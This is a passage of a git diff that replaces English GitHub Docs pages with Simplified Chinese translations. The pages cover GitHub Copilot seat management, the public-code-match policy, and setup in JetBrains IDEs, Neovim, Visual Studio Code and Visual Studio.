或者,你可以取消分配成员的 {% data variables.product.prodname_copilot %} 席位,同时保留其成员身份。 这些更改将从下一个计费周期开始生效。 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. 在边栏的“代码规划和自动化”部分中,单击“{% octicon "copilot" aria-label="The copilot icon" %} {% data variables.product.prodname_copilot_short %}”,然后单击“访问权限” 。 +1. 在“用户权限”下,选择“所选团队/用户”,然后单击“保存” 。 + + ![{% data variables.product.prodname_copilot %} 所选用户/团队权限的屏幕截图](/assets/images/help/copilot/selected-users-teams.png) + + - 在“确认席位分配”弹出对话框中,选择“保留所有用户”。 + + ![用于确认席位分配的对话框的屏幕截图](/assets/images/help/copilot/confirm-seat-assignment-selected.png) + +1. 在搜索栏中的“管理访问权限”下,键入成员的用户名、全名或电子邮件地址。 + + ![搜索栏的屏幕截图](/assets/images/help/copilot/manage-access-search.png) + +1. 若要从有权访问 {% data variables.product.prodname_copilot %} 的用户列表中删除成员,请单击“删除”。 + + ![用于删除访问权限的按钮的屏幕截图](/assets/images/help/copilot/remove-access-button.png) + +## 配置组织中 {% data variables.product.prodname_copilot %} 的建议匹配策略 + +{% data variables.product.prodname_copilot %} 包含筛选器,该筛选器用于检测与 {% data variables.product.prodname_dotcom %} 上的公共代码匹配的代码建议。 启用筛选器后,{% data variables.product.prodname_copilot %} 会根据 {% data variables.product.prodname_dotcom %} 上的公共代码检查代码建议及其周围约 150 个字符的代码。 如果存在匹配或接近匹配,不会向你显示建议。 + +如果企业管理员在企业级别为建议匹配选择了“无策略(让每个组织自行决定)”,则你可以为组织设置建议匹配策略。 如果属于同一企业但具有不同建议匹配策略的多个组织为组织成员分配了席位,{% data variables.product.prodname_copilot %} 将使用最严格的策略。 + + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. 在边栏的“代码规划和自动化”部分中,单击“{% octicon "copilot" aria-label="The copilot icon" %} {% data variables.product.prodname_copilot_short %}”,然后单击“策略” 。 +1. 在“与公共代码匹配的建议”下拉列表中,选择“允许”或“阻止”以允许或阻止与公共代码匹配的建议 。 + + ![“与公共代码匹配的建议”下拉列表的屏幕截图](/assets/images/help/copilot/duplication-detection-org-policy.png) + +## 延伸阅读 + +- [{% data variables.product.prodname_copilot_for_business %} 隐私声明](/free-pro-team@latest/site-policy/privacy-policies/github-copilot-for-business-privacy-statement) diff --git a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md index ae845fc548..362297533b 100644 --- a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md +++ b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-a-jetbrains-ide.md @@ -1,125 +1,127 @@ --- -title: Getting started with GitHub Copilot in a JetBrains IDE +title: 在 JetBrains IDE 中开始使用 GitHub Copilot shortTitle: JetBrains IDE -intro: 'Learn how to install {% data variables.product.prodname_copilot %} in a JetBrains IDE, and start seeing suggestions as you write comments and code.' +intro: '了解如何在 JetBrains IDE 中安装 {% data variables.product.prodname_copilot %},并在编写注释和代码时开始查看建议。' product: '{% data reusables.gated-features.copilot %}' versions: feature: copilot topics: - Copilot +ms.openlocfilehash: f5b90fb18645b69f86e9e45e08ba47e534678ae4 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192781' --- - {% data reusables.copilot.copilot-cta-button %} -## About {% data variables.product.prodname_copilot %} and JetBrains IDEs +## 关于 {% data variables.product.prodname_copilot %} 和 JetBrains IDE {% data reusables.copilot.procedural-intro %} -If you use a JetBrains IDE, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within a JetBrains IDE for macOS, Windows, or Linux. +如果使用 JetBrains IDE,可以直接在编辑器中查看并合并来自 {% data variables.product.prodname_copilot %} 的建议。 本指南演示如何在适用于 macOS、Windows 或 Linux 的 JetBrains IDE 中使用 {% data variables.product.prodname_copilot %}。 -## Prerequisites +## 先决条件 {% data reusables.copilot.subscription-prerequisite %} {% data reusables.copilot.jetbrains-ides %} -## Installing the {% data variables.product.prodname_copilot %} extension in your JetBrains IDE +## 在 JetBrains IDE 中安装 {% data variables.product.prodname_copilot %} 扩展 -To use {% data variables.product.prodname_copilot %} in a JetBrains IDE, you must install the {% data variables.product.prodname_copilot %} extension. The following procedure will guide you through installation of the {% data variables.product.prodname_copilot %} plugin in IntelliJ IDEA. Steps to install the plugin in another supported IDE may differ. +若要在 JetBrains IDE 中使用 {% data variables.product.prodname_copilot %},必须先安装 {% data variables.product.prodname_copilot %} 扩展。 以下过程将指导你在 IntelliJ IDEA 中安装 {% data variables.product.prodname_copilot %} 插件。 在另一个受支持的 IDE 中安装插件的步骤可能有所不同。 -1. In your JetBrains IDE, under the **File** menu for Windows or under the name of your IDE for Mac (for example, **PyCharm** or **IntelliJ**), click **Settings** for Windows or **Preferences** for Mac. -2. In the left-side menu of the **Settings/Preferences** dialog box, click **Plugins**. -3. At the top of the **Settings/Preferences** dialog box, click **Marketplace**. In the search bar, search for **{% data variables.product.prodname_copilot %}**, then click **Install**. - ![Screenshot of Marketplace search](/assets/images/help/copilot/jetbrains-marketplace.png) -1. After {% data variables.product.prodname_copilot %} is installed, click **Restart IDE**. -1. After your JetBrains IDE has restarted, click the **Tools** menu. Click **{% data variables.product.prodname_copilot %}**, then click **Login to {% data variables.product.prodname_dotcom %}**. - ![Screenshot of JetBrains tools menu](/assets/images/help/copilot/jetbrains-tools-menu.png) -1. In the "Sign in to {% data variables.product.prodname_dotcom %}" dialog box, to copy the device code and open the device activation window, click **Copy and Open**. - ![Screenshot of device code copy and open](/assets/images/help/copilot/device-code-copy-and-open.png) -1. A device activation window will open in your browser. Paste the device code, then click **Continue**. +1. 在 JetBrains IDE 中,在 Windows 的“文件”菜单或 IDE 名称 (Mac) 下(例如 PyCharm 或 IntelliJ),单击“设置”(Windows) 或“首选项”(Mac)。 +2. 在“设置/首选项”对话框的左侧菜单中,单击“插件”。 +3. 在“设置/首选项”对话框顶部,单击“市场”。 在搜索栏中,搜索“{% data variables.product.prodname_copilot %}”,然后单击“安装”。 + ![市场搜索的屏幕截图](/assets/images/help/copilot/jetbrains-marketplace.png) +1. 安装 {% data variables.product.prodname_copilot %} 后,单击“重启 IDE”。 +1. JetBrains IDE 重启后,单击“工具”菜单。 单击“{% data variables.product.prodname_copilot %}”,然后单击“登录到 {% data variables.product.prodname_dotcom %}”。 + ![JetBrains 工具菜单的屏幕截图](/assets/images/help/copilot/jetbrains-tools-menu.png) +1. 在“登录到 {% data variables.product.prodname_dotcom %}”对话框中,若要复制设备代码并打开设备激活窗口,请单击“复制并打开”。 + ![设备代码复制和打开的屏幕截图](/assets/images/help/copilot/device-code-copy-and-open.png) +1. 设备激活窗口将在浏览器中打开。 粘贴设备代码,然后单击“继续”。 - - To paste the code in Windows or Linux, press Ctrl+v. - - To paste the code in macOS, press command+v. -1. {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_copilot %} Plugin**. -1. After the permissions have been approved, your JetBrains IDE will show a confirmation. To begin using {% data variables.product.prodname_copilot %}, click **OK**. - ![Screenshot of JetBrains IDE permissions confirmation](/assets/images/help/copilot/jetbrains-ide-confirmation.png) + - 若要在 Windows 或 Linux 中粘贴代码,请按 Ctrl+v。 + - 若要在 macOS 中粘贴代码,请按 command+v。 +1. {% data variables.product.prodname_dotcom %} 将请求 {% data variables.product.prodname_copilot %} 所需的权限。 若要批准这些权限,请单击“授权 {% data variables.product.prodname_copilot %} 插件”。 +1. 权限获得批准后,JetBrains IDE 将显示确认。 要开始使用 {% data variables.product.prodname_copilot %},请单击“确定”。 + ![JetBrains IDE 权限确认的屏幕截图](/assets/images/help/copilot/jetbrains-ide-confirmation.png) -## Seeing your first suggestion +## 查看第一个建议 {% data reusables.copilot.code-examples-limitations %} -{% data reusables.copilot.supported-languages %} The following samples are in Java, but other languages will work similarly. +{% data reusables.copilot.supported-languages %} 以下示例使用的是 Java,但其他语言的工作方式类似。 {% data reusables.copilot.create-java-file %} -1. In the Java file, create a class by typing `class Test`. - {% data variables.product.prodname_copilot %} will automatically suggest a class body in grayed text, as shown below. The exact suggestion may vary. - ![Screenshot of the Java class body suggestion](/assets/images/help/copilot/java-class-body-suggestion-jetbrains.png) -{% data reusables.copilot.accept-suggestion %} -1. To prompt {% data variables.product.prodname_copilot %} to suggest a function body, type the following line below the bracket of the `main` function. The exact suggestion may vary. +1. 在 Java 文件中,通过键入 `class Test` 创建类。 + {% data variables.product.prodname_copilot %} 将自动以灰色文本建议类正文,如下所示。 具体的建议可能会有所不同。 + ![Java 类正文建议的屏幕截图](/assets/images/help/copilot/java-class-body-suggestion-jetbrains.png) {% data reusables.copilot.accept-suggestion %} +1. 若要提示 {% data variables.product.prodname_copilot %} 建议函数正文,请在 `main` 函数括号下方键入以下行。 具体的建议可能会有所不同。 {% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} - ![Screenshot of the Java function body suggestion](/assets/images/help/copilot/java-function-body-suggestion-jetbrains.png) -{% data reusables.copilot.accept-suggestion %} + ![Java 函数正文建议的屏幕截图](/assets/images/help/copilot/java-function-body-suggestion-jetbrains.png) {% data reusables.copilot.accept-suggestion %} -{% data variables.product.prodname_copilot %} will attempt to match the context and style of your code. You can always edit the suggested code. +{% data variables.product.prodname_copilot %} 将尝试与代码的上下文和样式匹配。 始终可以编辑建议的代码。 -## Seeing alternative suggestions +## 查看替代建议 {% data reusables.copilot.alternative-suggestions %} {% data reusables.copilot.create-java-file %} -1. To prompt {% data variables.product.prodname_copilot %} to show you a suggestion, type the following line in the Java file. -{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} -{% data reusables.copilot.see-alternative-suggestions %} +1. 若要提示 {% data variables.product.prodname_copilot %} 显示建议,请在 Java 文件中键入以下行。 +{% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} {% data reusables.copilot.see-alternative-suggestions %} - | OS | See next suggestion | See previous suggestion | + | OS | 查看下一个建议 | 查看上一个建议 | | :- | :- | :- | - | macOS | Option+] | Option+[ | + | macOS | 选项+] | 选项+[ | | Windows | Alt+] | Alt+[ | | Linux | Alt+] | Alt+[ | {% data reusables.copilot.accept-or-reject-suggestion %} -## Seeing multiple suggestions in a new tab +## 在新选项卡中查看多个建议 {% data reusables.copilot.suggestions-new-tab %} {% data reusables.copilot.create-java-file %} -1. To prompt {% data variables.product.prodname_copilot %} to show you a suggestion, type the following line in the Java file. +1. 若要提示 {% data variables.product.prodname_copilot %} 显示建议,请在 Java 文件中键入以下行。 {% indented_data_reference reusables.copilot.java-int-snippet spaces=3 %} -1. Open a new tab with multiple additional suggestions. - - On macOS, press Command+Shift+A, then click **Open GitHub Copilot**, or press Command+Shift+\ to open the new tab immediately. - - On Windows or Linux, press Ctrl+Enter, then click **Open GitHub Copilot**. - ![Screenshot of dialogue to open Copilot](/assets/images/help/copilot/open-copilot-tab-jetbrains.png) -1. To accept a suggestion, above the suggestion, click **Accept Solution**. To reject all suggestions, close the tab. +1. 打开包含多个附加建议的新选项卡。 + - 在 macOS 上,按 Command+Shift+A,然后单击“打开 GitHub Copilot”,或按 Command+Shift+\ 立即打开新选项卡。 + - 在 Windows 或 Linux 上,按 Ctrl+Enter,然后单击“打开 GitHub Copilot”。 + ![用于打开 Copilot 的对话的屏幕截图](/assets/images/help/copilot/open-copilot-tab-jetbrains.png) +1. 若要接受建议,请在建议上方单击“接受解决方案”。 若要拒绝所有建议,请关闭选项卡。 -## Generating code suggestions from comments +## 从注释生成代码建议 {% data reusables.copilot.generating-suggestions-from-comments %} {% data reusables.copilot.create-java-file %} -1. To prompt {% data variables.product.prodname_copilot %} to suggest an implementation of a function in the Java file, type the following lines. +1. 若要提示 {% data variables.product.prodname_copilot %} 以建议 Java 文件中函数的实现,请键入以下行。 ```java{:copy} // find all images without alternate text // and give them a red border void process () { ``` - ![Screenshot of the Java function body suggestion](/assets/images/help/copilot/comment-suggestion-jetbrains.png) + ![Java 函数正文建议的屏幕截图](/assets/images/help/copilot/comment-suggestion-jetbrains.png) -## Enabling and disabling {% data variables.product.prodname_copilot %} +## 启用或禁用 {% data variables.product.prodname_copilot %} -You can enable or disable {% data variables.product.prodname_copilot %} for all languages, or for individual languages. The {% data variables.product.prodname_copilot %} status icon in the bottom panel of your JetBrains IDE window indicates whether {% data variables.product.prodname_copilot %} is enabled or disabled. When enabled, the icon is highlighted. When disabled, the icon is grayed out. +可以为所有语言或单个语言启用或禁用 {% data variables.product.prodname_copilot %}。 JetBrains IDE 窗口底部面板中的 {% data variables.product.prodname_copilot %} 状态图标指示 {% data variables.product.prodname_copilot %} 是启用还是禁用。 启用后,将突出显示图标。 禁用后,图标灰显。 -1. To enable or disable {% data variables.product.prodname_copilot %}, click the status icon in the bottom panel of the JetBrains window. - ![Screenshot of the status icon in IntelliJ IDEA](/assets/images/help/copilot/status-icon-jetbrains.png) -2. If you are disabling {% data variables.product.prodname_copilot %}, you will be asked whether you want to disable it globally, or for the language of the file you are currently editing. +1. 若要启用或禁用 {% data variables.product.prodname_copilot %},请单击 JetBrains 窗口底部面板中的状态图标。 + ![IntelliJ IDEA 中“状态”图标的屏幕截图](/assets/images/help/copilot/status-icon-jetbrains.png) +2. 如果要禁用 {% data variables.product.prodname_copilot %},系统会询问是全局禁用它,还是要禁用当前正在编辑的文件的语言。 - - To disable suggestions from {% data variables.product.prodname_copilot %} globally, click **Disable Completions**. - - To disable suggestions from {% data variables.product.prodname_copilot %} for the specified language, click **Disable Completions for _LANGUAGE_**. - ![Screenshot of option to disable {% data variables.product.prodname_copilot %} globally or for the current language](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png) + - 若要全局禁用 {% data variables.product.prodname_copilot %} 的建议,请单击“禁用完成”。 + - 若要禁用指定语言的 {% data variables.product.prodname_copilot %} 的建议,请单击“禁用 LANGUAGE 完成”。 + ![全局或为当前语言禁用 {% data variables.product.prodname_copilot %} 的选项的屏幕截图](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png) -## Further reading +## 延伸阅读 -- [The {% data variables.product.prodname_copilot %} website](https://copilot.github.com/) -- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot#about-the-license-for-the-github-copilot-plugin-in-jetbrains-ides) +- [{% data variables.product.prodname_copilot %} 网站](https://copilot.github.com/) +- [关于 {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot#about-the-license-for-the-github-copilot-plugin-in-jetbrains-ides) diff --git a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md index 37972765c8..e9dcf633df 100644 --- a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md +++ b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-neovim.md @@ -1,34 +1,39 @@ --- -title: Getting started with GitHub Copilot in Neovim +title: 在 Neovim 中开始使用 GitHub Copilot shortTitle: Neovim product: '{% data reusables.gated-features.copilot %}' -intro: 'Learn how to install {% data variables.product.prodname_copilot %} in Neovim, and start seeing suggestions as you write comments and code.' +intro: '了解如何在 Neovim 中安装 {% data variables.product.prodname_copilot %},并了解如何开始在编写注释和代码时查看建议。' versions: feature: copilot topics: - Copilot +ms.openlocfilehash: 2eab3d278453ad283337d8e8dd6e66f7d39364e8 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193031' --- - {% data reusables.copilot.copilot-cta-button %} -## About {% data variables.product.prodname_copilot %} and Neovim +## 关于 {% data variables.product.prodname_copilot %} 和 Neovim {% data reusables.copilot.procedural-intro %} -If you use a Neovim, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. +如果使用 Neovim,可以直接在编辑器中查看并合并来自 {% data variables.product.prodname_copilot %} 的建议。 -## Prerequisites +## 先决条件 {% data reusables.copilot.subscription-prerequisite %} -- To use {% data variables.product.prodname_copilot %} in Neovim you must have Neovim and Node.js version 17 or below installed. For more information, see the [Neovim documentation](https://neovim.io/doc/) and the [Node.js website](https://nodejs.org/en/). +- 若要在 Neovim 中使用 {% data variables.product.prodname_copilot %},必须安装 Neovim 和 Node.js 版本 17 或更低版本。 有关详细信息,请参阅 [Neovim 文档](https://neovim.io/doc/)和 [Node.js 网站](https://nodejs.org/en/)。 -## Installing the Neovim extension +## 安装 Neovim 扩展 {% mac %} {% data reusables.copilot.install-copilot-in-neovim %} - - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command in Terminal. + - 若要使用 Neovim 的内置插件管理器安装 {% data variables.product.prodname_copilot %},请在终端中输入以下命令。 git clone https://github.com/github/copilot.vim \ ~/.config/nvim/pack/github/start/copilot.vim @@ -41,7 +46,7 @@ If you use a Neovim, you can view and incorporate suggestions from {% data varia {% windows %} {% data reusables.copilot.install-copilot-in-neovim %} - - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command in Git Bash. + - 若要使用 Neovim 的内置插件管理器安装 {% data variables.product.prodname_copilot %},请在 Git Bash 中输入以下命令。 git clone https://github.com/github/copilot.vim.git ` $HOME/AppData/Local/nvim/pack/github/start/copilot.vim @@ -54,7 +59,7 @@ If you use a Neovim, you can view and incorporate suggestions from {% data varia {% linux %} {% data reusables.copilot.install-copilot-in-neovim %} - - To install {% data variables.product.prodname_copilot %} with Neovim's built-in plugin manager, enter the following command: + - 若要使用 Neovim 的内置插件管理器安装 {% data variables.product.prodname_copilot %},请输入以下命令: git clone https://github.com/github/copilot.vim \ ~/.config/nvim/pack/github/start/copilot.vim @@ -63,14 +68,14 @@ If you use a Neovim, you can view and incorporate suggestions from {% data varia {% endlinux %} -## Learning to use {% data variables.product.prodname_copilot %} in Neovim +## 了解如何在 Neovim 中使用 {% data variables.product.prodname_copilot %} -For guidance on using {% data variables.product.prodname_copilot %} in Neovim, you can view the plugin documentation. To see the documentation, open Neovim and run the following command. +有关在 Neovim 中使用 {% data variables.product.prodname_copilot %} 的指导,可以查看插件文档。 若要查看文档,请打开 Neovim 并运行以下命令。 ``` :help copilot ``` -## Further reading +## 延伸阅读 - [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) diff --git a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md index d182880e09..2cfb066a02 100644 --- a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md +++ b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio-code.md @@ -1,107 +1,111 @@ --- -title: Getting started with GitHub Copilot in Visual Studio Code +title: 在 Visual Studio Code 中开始使用 GitHub Copilot shortTitle: Visual Studio Code -intro: 'Learn how to install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, and start seeing suggestions as you write comments and code.' +intro: '了解如何在 {% data variables.product.prodname_vscode %} 中安装 {% data variables.product.prodname_copilot %},并在编写注释和代码时开始查看建议。' product: '{% data reusables.gated-features.copilot %}' versions: feature: copilot topics: - Copilot +ms.openlocfilehash: ec117cce02fab8917aef958c69077c521d9c1974 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148192767' --- - {% data reusables.copilot.copilot-cta-button %} -## About {% data variables.product.prodname_copilot %} and {% data variables.product.prodname_vscode %} +## 关于 {% data variables.product.prodname_copilot %} 和 {% data variables.product.prodname_vscode %} {% data reusables.copilot.procedural-intro %} -If you use {% data variables.product.prodname_vscode %}, you can view and incorporate suggestions from {% data variables.product.prodname_copilot %} directly within the editor. This guide demonstrates how to use {% data variables.product.prodname_copilot %} within {% data variables.product.prodname_vscode %} for macOS, Windows, or Linux. +如果使用 {% data variables.product.prodname_vscode %},可以直接在编辑器中查看并合并来自 {% data variables.product.prodname_copilot %} 的建议。 本指南演示如何在适用于 macOS、Windows 或 Linux 的 {% data variables.product.prodname_vscode %} 中使用 {% data variables.product.prodname_copilot %}。 -## Prerequisites +## 先决条件 {% data reusables.copilot.subscription-prerequisite %} -- To use {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %}, you must have {% data variables.product.prodname_vscode %} installed. For more information, see the [{% data variables.product.prodname_vscode %} download page](https://code.visualstudio.com/Download). +- 若要在 {% data variables.product.prodname_vscode %} 中使用 {% data variables.product.prodname_copilot %},必须安装 {% data variables.product.prodname_vscode %}。 有关详细信息,请参阅 [{% data variables.product.prodname_vscode %} 下载页面](https://code.visualstudio.com/Download)。 -## Installing the {% data variables.product.prodname_vscode %} extension +## 安装 {% data variables.product.prodname_vscode %} 扩展 -To use {% data variables.product.prodname_copilot %}, you must first install the {% data variables.product.prodname_vscode %} extension. +若要使用 {% data variables.product.prodname_copilot %},必须先安装 {% data variables.product.prodname_vscode %} 扩展。 -1. In the {% data variables.product.prodname_vscode %} Marketplace, go to the [{% data variables.product.prodname_copilot %} extension](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot) page and click **Install**. - ![Install {% data variables.product.prodname_copilot %} extension {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png) -1. A popup will appear, asking to open {% data variables.product.prodname_vscode %}. Click **Open {% data variables.product.prodname_vscode %}**. -1. In the "Extension: {% data variables.product.prodname_copilot %}" tab in {% data variables.product.prodname_vscode %}, click **Install**. - ![Install button in {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/in-visual-studio-code-install-button.png) -1. If you have not previously authorized {% data variables.product.prodname_vscode %} in your {% data variables.product.prodname_dotcom %} account, you will be prompted to sign in to {% data variables.product.prodname_dotcom %} in {% data variables.product.prodname_vscode %}. - - If you have previously authorized {% data variables.product.prodname_vscode %} for your account on {% data variables.product.prodname_dotcom %}, {% data variables.product.prodname_copilot %} will be automatically authorized. - ![Screen shot of {% data variables.product.prodname_vscode %} authorization screen](/assets/images/help/copilot/vsc-copilot-authorize.png) -1. In your browser, {% data variables.product.prodname_dotcom %} will request the necessary permissions for {% data variables.product.prodname_copilot %}. To approve these permissions, click **Authorize {% data variables.product.prodname_vscode %}**. -1. In {% data variables.product.prodname_vscode %}, in the "{% data variables.product.prodname_vscode %}" dialog box, to confirm the authentication, click **Open**. +1. 在 {% data variables.product.prodname_vscode %} 市场中,转到 [{% data variables.product.prodname_copilot %} 扩展](https://marketplace.visualstudio.com/items?itemName=GitHub.copilot)页,然后单击“安装”。 + ![安装 {% data variables.product.prodname_copilot %} 扩展 {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/install-copilot-extension-visual-studio-code.png) +1. 此时会显示一个弹出窗口,要求打开 {% data variables.product.prodname_vscode %}。 单击“打开 {% data variables.product.prodname_vscode %}”。 +1. 在 {% data variables.product.prodname_vscode %} 的“扩展: {% data variables.product.prodname_copilot %}”选项卡中,单击“安装”。 + ![{% data variables.product.prodname_vscode %} 中的“安装”按钮](/assets/images/help/copilot/in-visual-studio-code-install-button.png) +1. 如果以前未在 {% data variables.product.prodname_dotcom %} 帐户中授权 {% data variables.product.prodname_vscode %},系统会提示你在 {% data variables.product.prodname_vscode %} 中登录到 {% data variables.product.prodname_dotcom %}。 + - 如果以前已在 {% data variables.product.prodname_dotcom %} 上的帐户中授权 {% data variables.product.prodname_vscode %},系统将会自动授权 {% data variables.product.prodname_copilot %}。 + ![{% data variables.product.prodname_vscode %} 授权屏幕的屏幕截图](/assets/images/help/copilot/vsc-copilot-authorize.png) +1. 在浏览器中,{% data variables.product.prodname_dotcom %} 将请求 {% data variables.product.prodname_copilot %} 所需的权限。 若要批准这些权限,请单击“授权 {% data variables.product.prodname_vscode %}”。 +1. 在 {% data variables.product.prodname_vscode %} 的“{% data variables.product.prodname_vscode %}”对话框中,若要确认身份验证,请单击“打开”。 -## Seeing your first suggestion +## 查看第一个建议 {% data reusables.copilot.code-examples-limitations %} -{% data reusables.copilot.supported-languages %} The following samples are in JavaScript, but other languages will work similarly. +{% data reusables.copilot.supported-languages %} 以下示例使用的是 JavaScript,但其他语言的工作方式类似。 {% data reusables.copilot.create-js-file %} -1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will automatically suggest an entire function body in grayed text, as shown below. The exact suggestion may vary. +1. 在 JavaScript 文件中,键入以下函数标头。 {% data variables.product.prodname_copilot %} 将自动以灰色文本建议整个函数正文,如下所示。 具体的建议可能会有所不同。 ```javascript{:copy} function calculateDaysBetweenDates(begin, end) { ``` - ![Screenshot of a first suggestion {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/first-suggestion-visual-studio-code.png) -{% data reusables.copilot.accept-suggestion %} + ![第一个建议 {% data variables.product.prodname_vscode %} 的屏幕截图](/assets/images/help/copilot/first-suggestion-visual-studio-code.png) {% data reusables.copilot.accept-suggestion %} -## Seeing alternative suggestions +## 查看替代建议 {% data reusables.copilot.alternative-suggestions %} {% data reusables.copilot.create-js-file %} -1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will show you a suggestion. +1. 在 JavaScript 文件中,键入以下函数标头。 {% data variables.product.prodname_copilot %} 将向你显示建议。 ```javascript{:copy} function calculateDaysBetweenDates(begin, end) { ``` {% data reusables.copilot.see-alternative-suggestions %} - | OS | See next suggestion | See previous suggestion | + | OS | 查看下一个建议 | 查看上一个建议 | | :- | :- | :- | - |macOS|Option (⌥) or Alt+]|Option (⌥) or Alt+[| + |macOS|Option (⌥) 或 Alt+]|Option (⌥) 或 Alt+[| |Windows|Alt+]|Alt+[| |Linux|Alt+]|Alt+[| -1. Alternatively, you can hover over the suggestion to see the {% data variables.product.prodname_copilot %} command palette for choosing suggestions. +1. 或者,可以将鼠标悬停在建议上方,查看 {% data variables.product.prodname_copilot %} 命令面板以选择建议。 {% data reusables.copilot.accept-or-reject-suggestion %} -## Seeing multiple suggestions in a new tab +## 在新选项卡中查看多个建议 {% data reusables.copilot.suggestions-new-tab %} {% data reusables.copilot.create-js-file %} -1. In the JavaScript file, type the following function header. {% data variables.product.prodname_copilot %} will show you a suggestion. +1. 在 JavaScript 文件中,键入以下函数标头。 {% data variables.product.prodname_copilot %} 将向你显示建议。 ```javascript{:copy} function calculateDaysBetweenDates(begin, end) { ``` -1. To open a new tab with multiple additional options, press Ctrl+Enter. -1. To accept a suggestion, above the suggestion, click **Accept Solution**. To reject all suggestions, close the tab. +1. 若要打开具有多个其他选项的新选项卡,请按 Ctrl+Enter。 +1. 若要接受建议,请在建议上方单击“接受解决方案”。 若要拒绝所有建议,请关闭选项卡。 -## Generating code suggestions from comments +## 从注释生成代码建议 {% data reusables.copilot.generating-suggestions-from-comments %} {% data reusables.copilot.create-js-file %} -1. In the JavaScript file, type the following comment. {% data variables.product.prodname_copilot %} will suggest an implementation of the function. +1. 在 JavaScript 文件中,键入以下注释。 {% data variables.product.prodname_copilot %} 将建议函数的实现。 ```javascript{:copy} // find all images without alternate text // and give them a red border function process() { ``` -## Using a framework +## 使用框架 -You can also use {% data variables.product.prodname_copilot %} to generate suggestions for APIs and frameworks. The following example uses {% data variables.product.prodname_copilot %} to create a simple Express server that returns the current time. +还可以使 {% data variables.product.prodname_copilot %} 为 API 和框架生成建议。 以下示例使用 {% data variables.product.prodname_copilot %} 创建将返回当前时间的简单 Express 服务器。 {% data reusables.copilot.create-js-file %} -1. In the JavaScript file, type the following comment and then press Enter. {% data variables.product.prodname_copilot %} will suggest an implementation of the Express app. +1. 在 JavaScript 文件中,键入以下注释,然后按 Enter。 {% data variables.product.prodname_copilot %} 将建议 Express 应用的实现。 ```javascript{:copy} // Express server on port 3000 1. To accept each line, press Tab, then Enter. @@ -109,10 +113,10 @@ You can also use {% data variables.product.prodname_copilot %} to generate sugge ```javascript{:copy} // Return the current time ``` -1. To accept each line, press Tab. +1. 若要接受每行,请按 Tab。 {% data reusables.copilot.enabling-or-disabling-in-vsc %} -## Further reading +## 延伸阅读 - [{% data variables.product.prodname_copilot %}](https://copilot.github.com/) diff --git a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md index 6716cc522b..4dc668d963 100644 --- a/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md +++ b/translations/zh-CN/content/copilot/getting-started-with-github-copilot/getting-started-with-github-copilot-in-visual-studio.md @@ -1,86 +1,88 @@ --- -title: Getting started with GitHub Copilot in Visual Studio +title: 在 Visual Studio 中开始使用 GitHub Copilot shortTitle: Visual Studio product: '{% data reusables.gated-features.copilot %}' -intro: 'Learn how to install {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vs %}, and start seeing suggestions as you write comments and code.' +intro: '了解如何在 {% data variables.product.prodname_vs %} 中安装 {% data variables.product.prodname_copilot %},并在编写注释和代码时开始查看建议。' versions: feature: copilot topics: - 